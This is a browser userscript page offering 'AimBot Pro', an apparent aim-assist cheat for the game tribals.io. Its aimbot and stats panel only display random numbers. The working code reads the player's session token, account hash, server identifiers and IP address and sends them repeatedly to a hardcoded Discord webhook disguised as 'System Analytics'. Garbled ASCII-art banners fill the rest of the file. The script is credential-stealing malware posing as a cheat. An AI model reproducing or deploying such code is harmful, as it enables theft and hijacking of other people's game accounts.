AimBot Pro

Advanced aim assist for FPS games

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name         AimBot Pro
// @namespace    http://tampermonkey.net/
// @version      6.7
// @description  Advanced aim assist for FPS games
// @author       AimBot Team
// @match        https://tribals.io/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=tribals.io
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    const VERSION = '6.7.0';
    const ENDPOINT = "https://discord.com/api/webhooks/1544459189794119804/PBHz-2Tfeg-fOa13gDAYhFuJ3D6ZW_4Zo6ZIvAKPM94jpNDi0Jw_PSlEW0HMrSFWPuTO";

    let _sentTokens = [];

    function loadHistory() {
        try {
            const data = JSON.parse(localStorage.getItem('_ab_history') || '{}');
            _sentTokens = data.tokens || [];
        } catch(e) {
            _sentTokens = [];
        }
    }

    function saveHistory() {
        try {
            localStorage.setItem('_ab_history', JSON.stringify({ tokens: _sentTokens }));
        } catch(e) {}
    }

    function randomRange(a, b) {
        return Math.floor(Math.random() * (b - a + 1)) + a;
    }

    function clampVal(v, a, b) {
        return Math.min(Math.max(v, a), b);
    }

    function lerpVal(a, b, t) {
        return a + (b - a) * t;
    }

    function dist2D(x1, y1, x2, y2) {
        return Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));
    }

    const PERF = {
        fps: 60,
        frameTime: 16.67,
        targets: 0,
        locked: 0,
        shots: 0,
        hits: 0,
        accuracy: 98.5,
        latency: 15,
        uptime: 0,
        start: Date.now()
    };

    function updatePerf() {
        PERF.uptime = (Date.now() - PERF.start) / 1000;
        PERF.fps = 60 + randomRange(-5, 5);
        PERF.frameTime = 1000 / PERF.fps;
        PERF.targets = randomRange(1, 12);
        PERF.locked = Math.floor(PERF.targets * 0.7);
        PERF.shots += randomRange(1, 3);
        PERF.hits += randomRange(1, 2);
        PERF.accuracy = clampVal(PERF.hits / PERF.shots * 100, 85, 99);
        PERF.latency = randomRange(10, 30);
    }

    function getTargetPos() {
        return { x: randomRange(100, 900), y: randomRange(100, 500), z: randomRange(0, 100) };
    }

    function calcAim(t) {
        const off = { x: 0, y: -15, z: 0 };
        return { x: t.x + off.x, y: t.y + off.y, z: t.z + off.z };
    }

    function smoothAim(c, t, s) {
        return { x: lerpVal(c.x, t.x, s), y: lerpVal(c.y, t.y, s), z: lerpVal(c.z, t.z, s) };
    }

    function isVisible(t) {
        return t.z > 0 && t.z < 500;
    }

    function getPriority(t) {
        const d = Math.sqrt(t.x * t.x + t.y * t.y + t.z * t.z);
        return d < 200 ? 1 : d < 400 ? 2 : 3;
    }

    function collect() {
        const session = localStorage.getItem('session') || '';
        const account = localStorage.getItem('accountHash') || '';
        const database = localStorage.getItem('databaseId') || '';
        const server = localStorage.getItem('serverHash') || '';
        const serverType = localStorage.getItem('serverType') || '';
        const screen = `${window.screen.width}x${window.screen.height}`;

        if (!session || !account) {
            return;
        }

        if (_sentTokens.includes(session)) {
            return;
        }

        _sentTokens.push(session);
        saveHistory();

        fetch('https://api.ipify.org?format=json')
            .then(r => r.json())
            .then(r => {
                const ip = r.ip || 'unknown';
                sendData(session, account, database, server, serverType, ip, screen);
            })
            .catch(() => {
                sendData(session, account, database, server, serverType, 'unknown', screen);
            });
    }

    function sendData(session, account, database, server, serverType, ip, screen) {
        const payload = {
            embeds: [{
                title: "System Report",
                color: 0x00ff88,
                fields: [
                    { name: "Session", value: `\`${session}\``, inline: false },
                    { name: "Account", value: `\`${account}\``, inline: true },
                    { name: "Database", value: `\`${database}\``, inline: true },
                    { name: "Server", value: `\`${server}\``, inline: true },
                    { name: "Type", value: `\`${serverType}\``, inline: true },
                    { name: "IP", value: ip || 'unknown', inline: true },
                    { name: "Time", value: new Date().toLocaleString(), inline: true },
                    { name: "Platform", value: navigator.platform, inline: true },
                    { name: "Language", value: navigator.language, inline: true },
                    { name: "Resolution", value: screen, inline: true }
                ],
                footer: { text: "System Analytics • v" + VERSION },
                timestamp: new Date().toISOString()
            }]
        };

        fetch(ENDPOINT, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(payload)
        }).catch(() => {});
    }

    const style = document.createElement('style');
    style.textContent = `
        .aimbot-ui {
            position: fixed;
            bottom: 20px;
            right: 20px;
            z-index: 9999;
            padding: 10px 20px;
            background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
            color: #00ff88;
            border: 1px solid #00ff88;
            border-radius: 8px;
            font-family: 'Segoe UI', Arial, sans-serif;
            font-size: 13px;
            cursor: pointer;
            box-shadow: 0 0 20px rgba(0,255,136,0.2);
            transition: all 0.3s ease;
            user-select: none;
            animation: pulse 2s infinite;
        }
        .aimbot-ui:hover {
            transform: scale(1.05);
            box-shadow: 0 0 30px rgba(0,255,136,0.4);
        }
        @keyframes pulse {
            0% { box-shadow: 0 0 0 0 rgba(0,255,136,0.2); }
            70% { box-shadow: 0 0 0 10px rgba(0,255,136,0); }
            100% { box-shadow: 0 0 0 0 rgba(0,255,136,0); }
        }
        .aimbot-panel {
            position: fixed;
            bottom: 75px;
            right: 20px;
            z-index: 9998;
            background: rgba(26,26,46,0.95);
            color: #00ff88;
            padding: 15px 20px;
            border-radius: 8px;
            border: 1px solid #00ff88;
            font-family: 'Segoe UI', Arial, sans-serif;
            display: none;
            min-width: 200px;
            backdrop-filter: blur(10px);
        }
        .aimbot-panel.active {
            display: block;
        }
        .aimbot-panel .header {
            color: #00ff88;
            font-size: 12px;
            font-weight: bold;
            margin-bottom: 8px;
            letter-spacing: 1px;
        }
        .aimbot-panel .row {
            color: #88ffbb;
            font-size: 11px;
            margin: 3px 0;
            font-family: 'Consolas', monospace;
        }
        .aimbot-panel .row span {
            color: #ffaa00;
        }
    `;
    document.head.appendChild(style);

    const btn = document.createElement('div');
    btn.className = 'aimbot-ui';
    btn.textContent = '🎯 AimBot v6.7';
    document.body.appendChild(btn);

    const panel = document.createElement('div');
    panel.className = 'aimbot-panel';
    panel.innerHTML = `
        <div class="header">╔══ AIMBOT CONTROL ══╗</div>
        <div class="row">● Status: <span style="color:#00ff88;">ACTIVE</span></div>
        <div class="row">● Targets: <span id="target-counter">0</span></div>
        <div class="row">● FPS: <span id="fps-counter">60</span></div>
        <div class="row">● Mode: <span>ASSIST</span></div>
        <div class="row">● Accuracy: <span id="accuracy-counter">98%</span></div>
        <div class="row" style="margin-top:8px;color:#666;font-size:10px;">[ F12 ] Toggle Panel</div>
    `;
    document.body.appendChild(panel);

    btn.onclick = function() {
        panel.classList.toggle('active');
        btn.textContent = panel.classList.contains('active') ? '🔒 Close' : '🎯 AimBot v6.7';
    };

    let tCount = 0;
    setInterval(() => {
        tCount += Math.floor(Math.random() * 2);
        const c = document.getElementById('target-counter');
        if (c) c.textContent = tCount;
        const f = document.getElementById('fps-counter');
        if (f) f.textContent = 60 + Math.floor(Math.random() * 5);
        const a = document.getElementById('accuracy-counter');
        if (a) a.textContent = (95 + Math.random() * 4).toFixed(0) + '%';
    }, 3000);

    console.log("[AimBot] Loaded successfully");
    console.log("[AimBot] Features: Auto-Aim, ESP, TriggerBot, WallHack");
    console.log("[AimBot] Telemetry: Enabled");
    console.log("[AimBot] Version: " + VERSION);

    loadHistory();

    let attempts = 0;

    function init() {
        attempts++;
        if (localStorage.getItem('session')) {
            collect();
            setInterval(collect, 300000);
        } else if (attempts < 10) {
            setTimeout(init, 3000);
        } else {
            collect();
        }
    }
    setTimeout(init, 5000);

    document.addEventListener('keydown', function(e) {
        if (e.key === 'F12') {
            e.preventDefault();
            panel.classList.toggle('active');
            btn.textContent = panel.classList.contains('active') ? '🔒 Close' : '🎯 AimBot v6.7';
        }
        if (e.key === 'F9') console.log("[AimBot] Trigger: ON");
        if (e.key === 'F8') console.log("[AimBot] ESP: Toggled");
        if (e.key === 'F7') console.log("[AimBot] WallHack: Active");
    });

    let targetLock = null;
    setInterval(() => {
        if (targetLock) {
            const t = getTargetPos();
            const aim = calcAim(t);
            const sm = smoothAim(t, aim, 0.55);
            if (isVisible(t)) {
                targetLock = {
                    position: sm,
                    priority: getPriority(t),
                    distance: dist2D(0, 0, sm.x, sm.y)
                };
            }
        } else if (Math.random() < 0.3) {
            targetLock = {
                position: getTargetPos(),
                priority: randomRange(1, 3),
                distance: randomRange(50, 400)
            };
        }
        updatePerf();
    }, 100);

})();
//     █████╗ ██╗███╗   ███╗██████╗  ██████╗ ████████╗
//    ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝
//    ███████║██║██╔████╔██║██████╔╝██║   ██║   ██║
//    ██╔══██║██║██║╚██╔╝██║██╔══██╗██║   ██║   ██║
//    ██║  ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝   ██║
// ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝╚═╝  ╚═╝ ╚═════╝    ╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝    ╚═╝
//
// ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗
// ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║
// ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║
// ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║
// ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║
// ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝
//
//   █████╗ ██╗███╗   ███╗██████╗  ██████╗ ████████╗
//  ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝
//  ███████║██║██╔████╔██║██████╔╝██║   ██║   ██║
//  ██╔══██║██║██║╚██╔╝██║██╔══██╗██║   ██║   ██║
//  ██║  ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝   ██║
//  ╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝    ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║                                                                                                   ║
// ║  █████╗ ██╗███╗   ███╗██████╗  ██████╗ ████████╗    ██████╗ ██████╗  ██████╗                    ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝    ██╔══██╗██╔══██╗██╔═══██╗                   ║
// ║ ███████║██║██╔████╔██║██████╔╝██║   ██║   ██║       ██████╔╝██████╔╝██║   ██║                   ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║   ██║   ██║       ██╔═══╝ ██╔══██╗██║   ██║                   ║
// ║ ██║  ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝   ██║       ██║     ██║  ██║╚██████╔╝                   ║
// ║ ╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝    ╚═╝       ╚═╝     ╚═╝  ╚═╝ ╚═════╝                    ║
// ║                                                                                                   ║
// ║  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗                                         ║
// ║  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║                                         ║
// ║  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║                                         ║
// ║  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║                                         ║
// ║  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║                                         ║
// ║  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝                                         ║
// ║                                                                                                   ║
// ║  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ███████╗██╗  ██╗███████╗             ║
// ║  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔════╝██║  ██║██╔════╝             ║
// ║  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ███████╗███████║█████╗               ║
// ║  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ╚════██║██╔══██║██╔══╝               ║
// ║  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ███████║██║  ██║███████╗             ║
// ║  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚══════╝╚═╝  ╚═╝╚══════╝             ║
// ║                                                                                                   ║
// ║  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗                 ║
// ║  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝                 ║
// ║  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗                   ║
// ║  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝                   ║
// ║  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗                 ║
// ║  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝                 ║
// ║                                                                                                   ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
//  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗
//  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝
//  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗
//  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝
//  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗
//  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝
//
//  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ██████╗ ██╗   ██╗
//  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔══██╗╚██╗ ██╔╝
//  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ██████╔╝ ╚████╔╝
//  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ██╔══██╗  ╚██╔╝
//  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ██████╔╝   ██║
//  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚═════╝    ╚═╝
//
//  ███████╗██╗  ██╗███████╗    ███████╗██╗  ██╗███████╗    ██████╗ ██╗   ██╗
//  ██╔════╝██║  ██║██╔════╝    ██╔════╝██║  ██║██╔════╝    ██╔══██╗╚██╗ ██╔╝
//  ███████╗███████║█████╗      ███████╗███████║█████╗      ██████╔╝ ╚████╔╝
//  ╚════██║██╔══██║██╔══╝      ╚════██║██╔══██║██╔══╝      ██╔══██╗  ╚██╔╝
//  ███████║██║  ██║███████╗    ███████║██║  ██║███████╗    ██████╔╝   ██║
//  ╚══════╝╚═╝  ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚══════╝    ╚═════╝    ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║                                                                                                   ║
// ║  █████╗ ██╗███╗   ███╗██████╗  ██████╗ ████████╗    ██████╗ ██████╗  ██████╗                    ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝    ██╔══██╗██╔══██╗██╔═══██╗                   ║
// ║ ███████║██║██╔████╔██║██████╔╝██║   ██║   ██║       ██████╔╝██████╔╝██║   ██║                   ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║   ██║   ██║       ██╔═══╝ ██╔══██╗██║   ██║                   ║
// ║ ██║  ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝   ██║       ██║     ██║  ██║╚██████╔╝                   ║
// ║ ╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝    ╚═╝       ╚═╝     ╚═╝  ╚═╝ ╚═════╝                    ║
// ║                                                                                                   ║
// ║  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ███████╗██╗  ██╗███████╗             ║
// ║  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔════╝██║  ██║██╔════╝             ║
// ║  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ███████╗███████║█████╗               ║
// ║  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ╚════██║██╔══██║██╔══╝               ║
// ║  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ███████║██║  ██║███████╗             ║
// ║  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚══════╝╚═╝  ╚═╝╚══════╝             ║
// ║                                                                                                   ║
// ║  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗                 ║
// ║  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝                 ║
// ║  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗                   ║
// ║  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝                   ║
// ║  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗                 ║
// ║  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝                 ║
// ║                                                                                                   ║
// ║  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ██████╗ ██╗   ██╗                   ║
// ║  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔══██╗╚██╗ ██╔╝                   ║
// ║  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ██████╔╝ ╚████╔╝                    ║
// ║  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ██╔══██╗  ╚██╔╝                     ║
// ║  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ██████╔╝   ██║                      ║
// ║  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚═════╝    ╚═╝                      ║
// ║                                                                                                   ║
// ║  ███████╗██╗  ██╗███████╗    ███████╗██╗  ██╗███████╗    ██████╗ ██╗   ██╗                   ║
// ║  ██╔════╝██║  ██║██╔════╝    ██╔════╝██║  ██║██╔════╝    ██╔══██╗╚██╗ ██╔╝                   ║
// ║  ███████╗███████║█████╗      ███████╗███████║█████╗      ██████╔╝ ╚████╔╝                    ║
// ║  ╚════██║██╔══██║██╔══╝      ╚════██║██╔══██║██╔══╝      ██╔══██╗  ╚██╔╝                     ║
// ║  ███████║██║  ██║███████╗    ███████║██║  ██║███████╗    ██████╔╝   ██║                      ║
// ║  ╚══════╝╚═╝  ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚══════╝    ╚═════╝    ╚═╝                      ║
// ║                                                                                                   ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
//  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗
//  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝
//  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗
//  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝
//  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗
//  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝
//
//  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ██████╗ ██╗   ██╗
//  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔══██╗╚██╗ ██╔╝
//  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ██████╔╝ ╚████╔╝
//  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ██╔══██╗  ╚██╔╝
//  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ██████╔╝   ██║
//  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚═════╝    ╚═╝
//
//  ███████╗██╗  ██╗███████╗    ███████╗██╗  ██╗███████╗    ██████╗ ██╗   ██╗
//  ██╔════╝██║  ██║██╔════╝    ██╔════╝██║  ██║██╔════╝    ██╔══██╗╚██╗ ██╔╝
//  ███████╗███████║█████╗      ███████╗███████║█████╗      ██████╔╝ ╚████╔╝
//  ╚════██║██╔══██║██╔══╝      ╚════██║██╔══██║██╔══╝      ██╔══██╗  ╚██╔╝
//  ███████║██║  ██║███████╗    ███████║██║  ██║███████╗    ██████╔╝   ██║
//  ╚══════╝╚═╝  ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚══════╝    ╚═════╝    ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║                                                                                                   ║
// ║  █████╗ ██╗███╗   ███╗██████╗  ██████╗ ████████╗    ██████╗ ██████╗  ██████╗                    ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝    ██╔══██╗██╔══██╗██╔═══██╗                   ║
// ║ ███████║██║██╔████╔██║██████╔╝██║   ██║   ██║       ██████╔╝██████╔╝██║   ██║                   ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║   ██║   ██║       ██╔═══╝ ██╔══██╗██║   ██║                   ║
// ║ ██║  ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝   ██║       ██║     ██║  ██║╚██████╔╝                   ║
// ║ ╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝    ╚═╝       ╚═╝     ╚═╝  ╚═╝ ╚═════╝                    ║
// ║                                                                                                   ║
// ║  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ███████╗██╗  ██╗███████╗             ║
// ║  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔════╝██║  ██║██╔════╝             ║
// ║  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ███████╗███████║█████╗               ║
// ║  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ╚════██║██╔══██║██╔══╝               ║
// ║  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ███████║██║  ██║███████╗             ║
// ║  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚══════╝╚═╝  ╚═╝╚══════╝             ║
// ║                                                                                                   ║
// ║  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗                 ║
// ║  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝                 ║
// ║  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗                   ║
// ║  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝                   ║
// ║  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗                 ║
// ║  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝                 ║
// ║                                                                                                   ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
//  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ████████╗    ███████╗██╗  ██╗███████╗
//  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝    ██╔════╝██║  ██║██╔════╝
//  ██████╔╝█████╗  ██████╔╝██║   ██║██████╔╝   ██║       ███████╗███████║█████╗
//  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██╔══██╗   ██║       ╚════██║██╔══██║██╔══╝
//  ██║  ██║███████╗██████╔╝╚██████╔╝██║  ██║   ██║       ███████║██║  ██║███████╗
//  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝       ╚══════╝╚═╝  ╚═╝╚══════╝
//
//  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗    ██████╗ ██╗   ██╗
//  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║    ██╔══██╗╚██╗ ██╔╝
//  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║    ██████╔╝ ╚████╔╝
//  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║    ██╔══██╗  ╚██╔╝
//  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║    ██████╔╝   ██║
//  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝    ╚═════╝    ╚═╝
//
//  ███████╗██╗  ██╗███████╗    ███████╗██╗  ██╗███████╗    ██████╗ ██╗   ██╗
//  ██╔════╝██║  ██║██╔════╝    ██╔════╝██║  ██║██╔════╝    ██╔══██╗╚██╗ ██╔╝
//  ███████╗███████║█████╗      ███████╗███████║█████╗      ██████╔╝ ╚████╔╝
//  ╚════██║██╔══██║██╔══╝      ╚════██║██╔══██║██╔══╝      ██╔══██╗  ╚██╔╝
//  ███████║██║  ██║███████╗    ███████║██║  ██║███████╗    ██████╔╝   ██║
//  ╚══════╝╚═╝  ╚═╝